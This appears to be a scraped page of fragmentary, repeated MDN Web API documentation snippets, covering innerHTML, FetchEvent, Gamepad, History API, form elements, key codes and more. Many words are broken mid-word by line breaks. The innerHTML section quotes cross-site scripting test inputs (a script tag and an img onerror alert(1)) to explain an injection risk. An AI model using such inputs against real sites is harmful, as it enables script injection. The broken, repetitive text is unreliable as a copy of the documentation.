iple border boxes.</p> <div> <strong>original</strong> <p> <span>paragraph that spans mult
iple lines</span> </p> </div> <div> <strong>p's rect</strong> <p class="withclientrectsoverlay"> <span>paragraph that spans mult
iple lines</span> </p> </div> <div> <strong>span's rect</strong> <p> <span class="withclientrectsoverlay">paragraph that spans mult
iple lines</span> </p> </div> example 2: this html creates three ordered lists. client rects are painted for the <ol> ...
... draws borders around the paragraph and the <span> inside each <div> block for the first example, around the <ol> and <li> for the second example, and around <table>, <th>, and <td> elements for the third example. strong { text-align: center; } div { display: inline-block; width: 150px; } div p, ol, table { border: 1px solid blue; } span, li, th, td { border: 1px solid green; } javascr
ipt the javascr
ipt code draws the client rects for all html elements that have css class withclientrectsoverlay assigned. function addclientrectsoverlay(elt) { /* absolutely position a div over each client rect so that its border width is the same as the rectangle's width. note: the overlays will be out of place if the user resizes or zooms. */ var rects = elt.getclientrects(); for...
Element.innerHTML - Web APIs
's contents are replaced with the nodes in the new documentfragment. security considerations it is not uncommon to see innerhtml used to insert text into a web page. there is potential for this to become an attack vector on a site, creating a potential security risk. const name = "john"; // assuming 'el' is an html dom element el.innerhtml = name; // harmless in this case // ... ...
...w documentfragment. security considerations it is not uncommon to see innerhtml used to insert text into a web page. there is potential for this to become an attack vector on a site, creating a potential security risk. const name = "john"; // assuming 'el' is an html dom element el.innerhtml = name; // harmless in this case // ... ...
...text into a web page. there is potential for this to become an attack vector on a site, creating a potential security risk. const name = "john"; // assuming 'el' is an html dom element el.innerhtml = name; // harmless in this case // ... name = "<scr
ipt>alert('i am john in an annoying alert!')</scr
ipt>"; el.innerhtml = name; // harmless in this case although this may look like a cross-site scr
ipting attack, the result is harmless. html5 specifies that a <scr
ipt> tag inserted with innerhtml should not execute. however, there are ways to execute javascr
ipt without using <scr
ipt> elements, so there is still a security risk whenever you use innerhtml to set strings over which you have no control. for example: const name = "<img src='x' onerror='alert(1)'>"; el.innerhtml = name; // shows th...
... project is one that will undergo any form of security review, using innerhtml most likely will result in your code being rejected. for example, if you use innerhtml in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated review process. example this example uses innerhtml to create a mechanism for logging messages into a box on a web page. ...
FetchEvent.respondWith() - Web APIs
ll be propagated to the intercepted network request as the final resolved url. if the response.url value is the empty string, then the fetchevent.request.url is used as the final url. in the past the fetchevent.request.url was used as the final url in all cases. the provided response.url was effectively ignored. ...
...se.url value is the empty string, then the fetchevent.request.url is used as the final url. in the past the fetchevent.request.url was used as the final url in all cases. the provided response.url was effectively ignored. this means, for example, if a service worker intercepts a stylesheet or worker scr
ipt, then the provided response.url will be used to resolve any relative @import or importscr
ipts() subresource loads (bug 1222008). ...
... if a stylesheet is intercepted, then the final url is used as the base url for resolving relative @import loads. note that navigation requests for windows and iframes do not use the final url. ...
... if a stylesheet is intercepted, then the final url is used as the base url for resolving relative @import loads. ...
FontFace - Web APIs
ct, built from an external resource described by an url or from an arraybuffer. properties this interface doesn't inherit any property. fontface.display a cssomstring that determines how a font face is displayed based on whether and when it is downloaded and ready to use. fontface.family a cssomstring that retrieves or sets the family of the font. it is equivalent to the font-family descr
iptor. fontface.featuresettings a cssomstring that retrieves or sets infrequently used font features that are not available from a font's variant properties. it is equivalent to the font-feature-settings descr
iptor. fontface.loaded read only returns a promise that resolves with the current fontface object when the font specified in the object's constructor is done loading or rejects with a synt...
... with the current fontface object when the font specified in the object's constructor is done loading or rejects with a syntaxerror. fontface.status read only returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error". fontface.stretch a cssomstring that retrieves or sets how the font stretches. it is equivalent to the font-stretch descr
iptor. fontface.style a cssomstring that retrieves or sets the style of the font. it is equivalent to the font-style descr
iptor. fontface.unicoderange a cssomstring that retrieves or sets the range of unicode codepoints encompassing the font. it is equivalent to the unicode-range descr
iptor. fontface.variant a cssomstring that retrieves or sets the variant of the font. it is equivalent to the ...
... methods this interface doesn't inherit any method. ...
... methods this interface doesn't inherit any method. ...
Fullscreen API - Web APIs
hen errors occur during the process of changing between full-screen and windowed modes. event handlers for these events are available on the document and element interfaces. note: these event handler properties are not available as html content attributes. in other words, you cannot specify event handlers for fullscreenchange and fullscreenerror in the html content. they must be added by javascr
ipt code. event handlers on documents document.onfullscreenchange an event handler for the fullscreenchange event that's sent to a document when that document is placed into full-screen mode, or when that document exits full-screen mode. this handler is called only when the entire document is presented in full-screen mode. document.onfullscreenerror an event handler for the fullscreenerror e...
...lementopera android full support 41prefixed full support 41prefixed prefixed implemented with the vendor prefix: webkitsafari ios partial support 12notes alternate name partial support 12notes alternate name notes full-screen mode is only supported on the
ipad.alternate name uses the non-standard name: webkitfullscreenelementsamsung internet android full support 6.0prefixed full support 6.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support ...
...shows an overlay button which can not be disabled.samsung internet android full support 10.0 full support 10.0 full support 1.0prefixed prefixed implemented with the vendor prefix: webkitoptions parameterchrome full support ...
...prefixed implemented with the vendor prefix: webkit no support 12 -- 14prefixed prefixed implemented with the vendor prefix: osafari ios full support 6prefixed notes full support 6prefixed notes prefixed implemented with the vendor prefix: webkitnotes only available on
ipad, not on
iphone. shows an overlay button which can not be disabled.samsung internet android full support 10.0 full support 10.0 full support 1.0prefixed prefixed implemented with the vendor prefix: webkitoptions parameterchrome full support ...
Using the Gamepad API - Web APIs
the gamepad api is a way for developers and designers to access and use gamepads and other game controllers. the gamepad api introduces new events on the window object for reading gamepad and controller (hereby referred to as gamepad) state. ...
...page has previously received data for that gamepad (e.g. gamepadconnected), a second event is dispatched to the focused window, gamepaddisconnected: window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); the gamepad's index property will be unique per-device connected to the system, even if mult
iple controllers of the same type are used. the index property also functions as the index into the array returned by navigator.getgamepads(). var gamepads = {}; function gamepadhandler(event, connecting) { var gamepad = event.gamepad; // note: // gamepad === navigator.getgamepads()[gamepad.index] if (connecting) { gamepads[gamepad.index] = gamepad; } else { delete gamepads[game...
...demonstrates how the gamepad property can be held after the event has completed -- a technique we will use for device state querying later. querying the gamepad object as you can see, the gamepad events discussed above include a gamepad property on the event object, which returns a gamepad object. we can use this in order to determine which gamepad (i.e., its id) had caused the event, since mult
iple gamepads might be connected at once. we can do much more with the gamepad object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires. performing such checks tends to involve usin...
... hexadecimal strings containing the usb vendor and product id of the controller, and the name of the controller as provided by the driver. this information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user. index: an integer that is unique for each gamepad currently connected to the system. this can be used to distinguish mult
iple controllers. note that disconnecting a device and then connecting a new device may reuse the previous index. mapping: a string indicating whether the browser has remapped the controls on the device to a known layout. currently there is only one supported known layout -- the standard gamepad. if the browser is able to map controls on the device to that layout the mapping property will be set to...
HTMLFormElement - Web APIs
ich are descendants of the <form> and those which are made members of the form using their form attributes. you can also get the form's element by using its name attribute as a key of the form, but using elements is a better approach--it contains only the form's elements, and it cannot be mixed with other attributes of the form. issues with naming elements some names will interfere with javascr
ipt access to the form's properties and elements. for example: <input name="id"> will take precedence over <form id="...">. this means that form.id will not refer to the form's id, but to the element whose name is "id". this will be the case with any other form properties, such as <input name="action"> or <input name="post">. <input name="elements"> will render the form's elements collection in...
...on"> or <input name="post">. <input name="elements"> will render the form's elements collection inaccessible. the reference form.elements will now refer to the individual element. to avoid such problems with element names: always use the elements collection to avoid ambiguity between an element name and a form property. never use "elements" as an element name. if you are not using javascr
ipt, this will not cause a problem. elements that are considered form controls the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elemen...
...s attributes: <form name="forma" action="/cgi-bin/test" method="post"> <p>press "info" for form details, or "set" to change those details.</p> <p> <button type="button" onclick="getforminfo();">info</button> <button type="button" onclick="setforminfo(this.form);">set</button> <button type="reset">reset</button> </p> <textarea id="form-info" rows="15" cols="20"></textarea> </form> <scr
ipt> function getforminfo(){ // get a reference to the form via its name var f = document.forms["forma"]; // the form properties we're interested in var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptcharset', 'action', 'enctype', 'method', 'target' ]; // iterate over the properties, turning them into a string that we can display to the user var in...
...property + ": " + f[property] }).join("\n"); // set the form's <textarea> to display the form's properties document.forms["forma"].elements['form-info'].value = info; // document.forms["forma"]['form-info'].value would also work } function setforminfo(f){ // argument should be a form element reference. ...
HTMLInputElement.stepDown() - Web APIs
the method, when invoked, decrements the value by (step * n), where n defaults to 1 if not specified, and step defaults to the default value for step if not specified. valid on all numeric, date, and time input types that support the step attribute, includingdate, month, week, time, datetime-local, number, and range. ...
...the default value for the parameter, if not is passed, is 1. the method will not cause the value to go below the min value set or defy the constraints set by the step attribute. a negative value for n will increment the value, but will not increment beyond the max value. if the value before invoking the stepdown() method i...
...tml <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascr
ipt /* make the button call the function */ let button = document.getelementbyid('thebutton'); button.addeventlistener('click', function() { stepondown();} ); function stepondown() { let input = document.getelementbyid('thenumber'); let val = document.getelementbyid('decrementer').value; if (val) { /* increment with a parameter */ input.stepdown(val); } else { /* or without a pa...
...er'); let val = document.getelementbyid('decrementer').value; if (val) { /* increment with a parameter */ input.stepdown(val); } else { /* or without a parameter. try it with 0, 5, -2, etc. */ input.stepdown(); } } css input:invalid { border: red solid 3px; } result note if you don't pass a parameter to the stepdown() method, it defaults to 1. any other value is a mult
iplier of the step attribute value, which in this case is 5. if we pass 4 as the stepdecrement, the input will stepdown by 4 * 5, or 20. if the parameter is 0, the number will not be decremented. the stepdown() method will not allow the input to go out of range, in this case stopping when it reaches 0 and rounding down and floats that are passed as a parameter. try setting the step decrementer to 1...
HTMLInputElement - Web APIs
the htmlinputelement interface provides special properties and methods for man
ipulating the options, layout, and presentation of <input> elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,...
...s object. dirname string: returns / sets the directionality of the element. accesskey string: returns a string containing a single character that switches input focus to the control when pressed. list read only htmlelement object: returns the element pointed by the list attribute. the property may be null if no html element found in the same tree. mult
iple boolean: returns / sets the element's mult
iple attribute, indicating whether more than one value is possible (e.g., mult
iple files). files filelist array: returns the list of selected files. htmlinputelement.labels read only nodelist array: returns a list of <label> elements that are labels for this element. step string: returns / sets the element's step ...
...read only nodelist array: returns a list of <label> elements that are labels for this element. step string: returns / sets the element's step attribute, which works with min and max to limit the increments at which a numeric or date-time value can be set. it can be the string any or a positive floating point number. if this is not set to any, the control accepts only values at mult
iples of the step value greater than the minimum. valueasdate date object: returns / sets the value of the element, interpreted as a date, or null if conversion is not possible. valueasnumber double: returns the value of the element, interpreted as one of the following, in order: a time value a number nan if conversion is impossible autocapita...
...hnically, the tabindex and accesskey properties, as well as the blur(), click(), and focus() methods, are now defined on htmlelement. the following properties are now obsolete: align and usemap. the following properties have been added: autocomplete, autofocus, dirname, files, formaction, formenctype, formmethod, formnovalidate, formtarget, height, indeterminate, labels, list, max, min, mult
iple, pattern, placeholder, required, selectiondirection, selectionend, selectionstart, step, validationmessage, validity, valueasdate, valueasnumber, width, and willvalidate. the following methods have been added: checkvalidity(), setcustomvalidity(), setselectionrange(), stepup(), and stepdown(). document object model (dom) level 2 html specificationthe definition of 'htmlinputelement'...
HTMLTableCellElement - Web APIs
the htmltablecellelement interface provides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for man
ipulating the layout and presentation of table cells, either header or data cells, in an html document. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono...
...xt that's appropriate contextually. htmltablecellelement.cellindex read only a long integer representing the cell's position in the cells collection of the <tr> the cell is contained within. if the cell doesn't belong to a <tr>, it returns -1. htmltablecellelement.colspan an unsigned long integer indicating the number of columns this cell must span; this lets the cell occupy space across mult
iple columns of the table. it reflects the colspan attribute. htmltablecellelement.headers read only is a domsettabletokenlist describing a list of id of <th> elements that represents headers associated with the cell. it reflects the headers attribute. htmltablecellelement.rowspan an unsigned long integer indicating the number of rows this cell must span; this lets a cell occupy space across mu...
... columns of the table. it reflects the colspan attribute. htmltablecellelement.headers read only is a domsettabletokenlist describing a list of id of <th> elements that represents headers associated with the cell. it reflects the headers attribute. htmltablecellelement.rowspan an unsigned long integer indicating the number of rows this cell must span; this lets a cell occupy space across mult
iple rows of the table. it reflects the rowspan attribute. htmltablecellelement.scope a domstring indicating the scope of a <th> cell. header cells can be configured, using the scope property, the apply to a specified row or column, or to the not-yet-scoped cells within the current row group (that is, the same ancestor <thead>, <tbody>, or <tfoot> element). if no value is specified for scope, the ...
...rcter. this character is the one to align all the cell of a column on. it reflects the char and default to the decimal points associated with the language, e.g. '.' for english, or ',' for french. this property was optional and was not very well supported. htmltablecellelement.choff a domstring containing a integer indicating how many characters must be left at the right (for left-to-right scr
ipts; or at the left for right-to-left scr
ipts) of the character defined by htmltablecellelement.ch. this property was optional and was not very well supported. htmltablecellelement.height a domstring containing a length of pixel of the hinted height of the cell. it reflects the obsolete height attribute. htmltablecellelement.nowrap a boolean value reflecting the nowrap attribute and indicat...
HTMLTextAreaElement - Web APIs
the htmltextareaelement interface provides special properties and methods for man
ipulating the layout and presentation of <textarea> elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 ...
...on htmltextareaelement in dom level 2 html and earlier specifications. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface: input event fires when the value of an <input>, <select>, or <textarea> element has been changed. ...
...css textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your comments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea. ...
...e link');if(newurl){insertmetachars('<a href=\u0022'+newurl+'\u0022>','<\/a>');}else{document.myform.mytxtarea.focus();}">url</span> | <span class="intlink" onclick="insertmetachars('\n<code>\n','\n<\/code>\n');">code</span> | <span class="intlink" onclick="insertmetachars(' :-)');">smile</span> | etc. etc. ]</p> <p><textarea name="mytxtarea" rows="10" cols="50">lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. ut facilisis, arcu vitae ad
ipiscing placerat, nisl lectus accumsan nisi, vitae iaculis sem neque vel lectus. praesent tristique commodo lorem quis fringilla. sed ac tellus eros. sed consectetur eleifend felis vitae luctus. praesent sagittis, est eget bibendum tincidunt, ligula diam tincidunt augue, a fermentum odio velit eget mi. phasellus mattis, e...
Working with the History API - Web APIs
ent. adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state. the referrer will be the url of the document whose window is this at the time of creation of the xmlhttprequest object. example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascr
ipt: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists. suppose now that the user navigates to http://google.com, then clicks the back button. at this point, the url bar will display http://mozilla.org/bar.html and...
...mportant exception: after using history.pushstate(), calling history.back() does not raise a popstate event. clicking the browser's back button (still) does. the pushstate() method pushstate() takes three parameters: a state object; a title (currently ignored); and (optionally), a url. let's examine each of these three parameters in more detail. state object the state object is a javascr
ipt object which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. because firefox saves state objects to the user's disk so they can be restored after the user restar...
...h gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2), the passed object is serialized using json. starting in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), the object is serialized using the structured clone algorithm. this allows a wider variety of objects to be safely passed. ...
...ts to be safely passed. example of replacestate() method suppose http://mozilla.org/foo.html executes the following javascr
ipt: let stateobj = { foo: "bar" } history.pushstate(stateobj, "page 2", "bar.html") the explanation of these two lines above can be found at the above section example of pushstate() method section. next, suppose http://mozilla.org/bar.html executes the following javascr
ipt: history.replacestate(stateobj, "page 3", "bar2.html") this will cause the url bar to display http://mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists. suppose now that the user navigates to http://www.microsoft.com, then clicks the back button. at this point, the url bar will display http://mozilla.org/bar2.html. if the user now clicks ...
InstallTrigger - Web APIs
lementations and the behavior may change in the future. the installtrigger interface is an interesting outlier in the apps api; it's included in this api but are inherited from the old mozilla xpinstall technology for installing add-ons. it is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file) from a web page, using javascr
ipt code to kick off the install process. note: this article needs to be updated somewhat. overview for very simple installations, the install methods on the installtrigger object may be all that's needed in the installation scr
ipt. for more complex installations, you may need to use the install and/or file installation objects. in either case, you must ...
...: this article needs to be updated somewhat. overview for very simple installations, the install methods on the installtrigger object may be all that's needed in the installation scr
ipt. for more complex installations, you may need to use the install and/or file installation objects. in either case, you must trigger the installation process by creating a web page scr
ipt in which installtrigger methods download the specified xpi file and "trigger" the execution of the install.js scr
ipt at the top level of that xpi. the princ
ipal method on the installtrigger object is install, which downloads and installs one or more software packages archived in the xpi file format. the following is a basic example of an install trigger on a web page: xpi={'xpinst...
...trigger object is install, which downloads and installs one or more software packages archived in the xpi file format. the following is a basic example of an install trigger on a web page: xpi={'xpinstall dialog display name':'simple.xpi'}; installtrigger.install(xpi); you can also use the installtrigger object to install netscape 6/mozilla skins and language packs, and perform mult
iple-package installations with install. compareversion compares the version of a file or package with the version of an existing file or package. enabled indicates whether or not software installation is enabled for this client machine. getversion returns an object representing the version number from the client version registry for the speci...
... compareversion compares the version of a file or package with the version of an existing file or package. enabled indicates whether or not software installation is enabled for this client machine. getversion returns an object representing the version number from the client version registry for the specified component. it is used in both trigger scr
ipts and installation scr
ipts. install installs one or more xpi files on the local machine. installchrome installs new skin or locale packages in netscape 6 and mozilla. startsoftwareupdate triggers the downloading and installation of the software at the specified url. ...
KeyboardEvent: code values - Web APIs
x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "comma" "comma" 0x0034 "period" "period" 0x0035 "slash" "slash" 0x0036 "shiftright" "shiftright" 0x0037 "numpadmult
iply" "numpadmult
iply" 0x0038 "altleft" "altleft" 0x0039 "space" "space" 0x003a "capslock" "capslock" 0x003b "f1" "f1" 0x003c "f2" "f2" 0x003d "f3" "f3" 0x003e "f4" "f4" 0x003f "f5" "f5" 0x0040 "f6" "f6" 0x0041 "f7" "f7" 0x0042 "f8" "...
...hiftright" "shiftright" kvk_rightoption (0x3d) "altright" "altright" kvk_rightcontrol (0x3e) "controlright" "controlright" kvk_function (0x3f) "fn" (no events fired actually) "" (no events fired actually) kvk_f17 (0x40) "f17" "f17" kvk_ansi_keypaddecimal (0x41) "numpaddecimal" "numpaddecimal" kvk_ansi_keypadmult
iply (0x43) "numpadmult
iply" "numpadmult
iply" kvk_ansi_keypadplus (0x45) "numpadadd" "numpadadd" kvk_ansi_keypadclear (0x47) "numlock" "numlock" kvk_volumeup (0x48) "audiovolumeup" (was "volumeup" until firefox 48) "audiovolumeup" (was "volumeup" until chrome 50) kvk_volumedown (0x49) "audiovolumedown" (was "volumedown" until firefox 49)...
...x0035 "keyx" "keyx" 0x0036 "keyc" "keyc" 0x0037 "keyv" "keyv" 0x0038 "keyb" "keyb" 0x0039 "keyn" "keyn" 0x003a "keym" "keym" 0x003b "comma" "comma" 0x003c "period" "period" 0x003d "slash" "slash" 0x003e "shiftright" "shiftright" 0x003f "numpadmult
iply" "numpadmult
iply" 0x0040 "altleft" "altleft" 0x0041 "space" "space" 0x0042 "capslock" "capslock" 0x0043 "f1" "f1" 0x0044 "f2" "f2" 0x0045 "f3" "f3" 0x0046 "f4" "f4" 0x0047 "f5" "f5" 0x0048 "f6" "f6" 0x0049 "f7" "f7" 0x004a "f8" "...
..."backquote" 0x002a "shiftleft" 0x002b "backslash" 0x002c "keyz" 0x002d "keyx" 0x002e "keyc" 0x002f "keyv" 0x0030 "keyb" 0x0031 "keyn" 0x0032 "keym" 0x0033 "comma" 0x0034 "period" 0x0035 "slash" 0x0036 "shiftright" 0x0037 "numpadmult
iply" 0x0038 "altleft" 0x0039 "space" 0x003a "capslock" 0x003b "f1" 0x003c "f2" 0x003d "f3" 0x003e "f4" 0x003f "f5" 0x0040 "f6" 0x0041 "f7" 0x0042 "f8" 0x0043 "f9" 0x0044 "f10" 0x0045 "numlock" 0x0046 "scrolllock" ...
LocalFileSystem - Web APIs
e.) working within a single origin the file system is sandboxed to a single origin. this means that your app cannot read, or write the files of another app's files. your app cannot access files in an arbitrary folder (such as, my pictures, my documents) on the user's hard drive either. for more information about restrictions, see the basic concepts article. example the following is a code sn
ippet that shows how you can request a file system storage. //taking care of the browser-specific prefix window.requestfilesystem = window.requestfilesystem || window.webkitrequestfilesystem; // the first parameter defines the type of storage: persistent or temporary // next, set the size of space needed (in bytes) // initfs is the success callback // and the last one is the error callback // for...
... persistent 1 storage that stays in the browser unless the user or the app expunges it. the user must grant permission before the app can use this type of storage. methods requestfilesystem() requests a file system where data should be stored. you access a ...
... to the file system. root - the read-only directoryentry object representing the root of the file system. opt_errorcallback the error callback that is called when errors happen or when the request to obtain the file system is denied. its argument is the fileerror object. returns void exceptions this method can raise an fileerror with the following code: exception descr
iption security_error the application does not have permission to access the file system interface. for example, you cannot run from file://. for more details, see the article on basic concepts. resolvelocalfilesystemurl() lets you look up the entry for a file or directory with a local url. void resolvelocalfilesystemurl( in domstring url, in entrycallback successcallback, ...
...cal file in the file system. successcallback the success callback that is called when the browser provides the file or directory for the supplied url. errorcallback the error callback that is called when errors happen or when the request to obtain the entry object is denied. returns void exceptions this method can raise an fileerror with the following code: exception descr
iption encoding_err the syntax of the url was invalid. not_found_err the url was structurally correct, but refers to a resource that does not exist. security_err the application does not have permission to access the file system interface. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to con...
MediaStreamAudioSourceNode - Web APIs
ly serves as a bass booster), then a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...n a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audi...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audio apithe definition of 'mediastreamaudios...
MediaStreamTrackAudioSourceNode - Web APIs
ly serves as a bass booster), then a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...n a audiodestinationnode. the range slider below the <video> element controls the amount of gain given to the lowpass filter -- increase the value of the slider to make the audio sound more bass heavy! note: you can see this example running live, or view the source. ...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audi...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audio apithe definition of 'mediastreamtracka...
MessageEvent - Web APIs
riate, e.g. in channel messaging or when sending a message to a shared worker). methods this interface also inherits methods from its parent, event. initmessageevent() initializes a message event. do not use this anymore -- use the messageevent() constructor instead. ...
...sage to a shared worker). methods this interface also inherits methods from its parent, event. initmessageevent() initializes a message event. do not use this anymore -- use the messageevent() constructor instead. examples in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascr
ipt to perform a simple calculation. ...
...more -- use the messageevent() constructor instead. examples in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascr
ipt to perform a simple calculation. the different scr
ipts are using the same worker file to perform the calculation -- they can both access it, even if their pages are running inside different windows. the following code sn
ippet shows creation of a sharedworker object using the sharedworker() constructor. both scr
ipts contain this: var myworker = new sharedworker('worker.js'); both scr
ipts then access the worker through a messageport object created using the sharedworker.port property. if the onmessage event is attached using addeventlistener, the port is manually started using its start() method: myworker.port.st...
...t using the sharedworker() constructor. both scr
ipts contain this: var myworker = new sharedworker('worker.js'); both scr
ipts then access the worker through a messageport object created using the sharedworker.port property. ...
NavigatorPlugins.plugins - Web APIs
navigator.mimetypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name. this privacy change does not disable any plugins; it just hides some plugin names from enumeration. syntax var plugins = navigator.plugins; plugins is pluginarray object used to access plugin objects either by name or as a list of items. the returned value is not a javascr
ipt array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods. examples the following example function returns the version of the shockwave flash plugin. function getflashversion() { var flash = navigator.plugins.nameditem('shockwave flash'); if (typeof flash != 'object') { // fl...
...ds. examples the following example function returns the version of the shockwave flash plugin. function getflashversion() { var flash = navigator.plugins.nameditem('shockwave flash'); if (typeof flash != 'object') { // flash is not present return undefined; } if(flash.version){ return flash.version; } else { //no version property (e.g. ...
...h.version; } else { //no version property (e.g. in chrome) return flash.descr
iption.replace(/shockwave flash /,""); } } the following example displays information about the installed plugin(s). ...
...a list of plugins is also available by entering about:plugins in the browser's location bar. ...
Node - Web APIs
notation_node 12 node.nodevalue returns / sets the value of the current node. node.ownerdocumentread only returns the document that this node belongs to. if the node is itself a document, returns null. node.parentnoderead only returns a node that is the parent of this node. if there is no such node, like if this node is the top of the tree or if doesn't partic
ipate in a tree, this property returns null. node.parentelementread only returns an element that is the parent of this node. if the node has no parent, or if that parent is not an element, this property returns null. node.previoussiblingread only returns a node representing the previous node in the tree, or null if there isn't such node. node.textcontent returns / sets the textual content of...
...n later versions, this does not happen, so the property is in lower case for both html and xhtml. node.namespaceuri read only the namespace uri of this node, or null if it is no namespace. note: in firefox 3.5 and earlier, html elements are in no namespace. in later versions, html elements are in the http://www.w3.org/1999/xhtml/ namespace in both html and xml trees. node.nodeprinc
ipal obsolete since gecko 46 a ns
iprinc
ipal representing the node princ
ipal. node.prefix read only is a domstring representing the namespace prefix of the node, or null if no prefix is specified. node.rootnode read only returns a node object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. this has been replaced by node.getrootnode(). m...
...lnode() returns a boolean which indicates whether or not two nodes are of the same type and all their defining data points match. node.issamenode() returns a boolean value indicating whether or not the two nodes are the same (that is, they reference the same object). node.lookupprefix() returns a domstring containing the prefix for a given namespace uri, if present, and null if not. when mult
iple prefixes are possible, the result is implementation-dependent. node.lookupnamespaceuri() accepts a prefix and returns the namespace uri associated with it on the given node if found (and null if not). supplying null for the prefix will return the default namespace. node.normalize() clean up all the text nodes under this element (merge adjacent, remove empty). node.removechild() removes a ...
... if callback is omitted, the function returns an array instead, which contains rootnode and all nodes contained within. if callback is provided, and it returns boolean false when called, the current recursion level is aborted, and the function resumes execution at the last parent's level. this can...
NodeFilter.acceptNode() - Web APIs
the nodefilter.acceptnode() method returns an unsigned short that will be used to tell if a given node must be accepted or not by the nodeiterator or treewalker iteration algorithm. this method is expected to be written by the user of a nodefilter. possible return values are: constant descr
iption nodefilter.filter_accept value returned by the nodefilter.acceptnode() method when a node should be accepted. ...
... constant descr
iption nodefilter.filter_accept value returned by the nodefilter.acceptnode() method when a node should be accepted. nodefilter.filter_reject value to be returned by the nodefilter.acceptnode() method when a node should be rejected. the children of rejected nodes are not visited by the nodeiterator or treewalker object; this value is treated as "sk
ip this node and all its children". nodefilter.filter_sk
ip value to be returned by nodefilter.acceptnode() for nodes to be sk
ipped by the nodeiterator or treewalker object. the children of sk
ipped nodes are still considered. this is treated as "sk
ip this node but not its children". the function should return nodefilter.filter_accept, which causes the treewalker to return the node,...
... the browser doesn't provide any object implementing this method. it is the user who is expected to write an object implementing the nodefilter interface, tailoring the acceptnode() method to its needs, and using it with some treewalker or nodeiterator objects. ...
... filter. ...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the nondocumenttypechildnode.nextelementsibling read-only property returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. ...
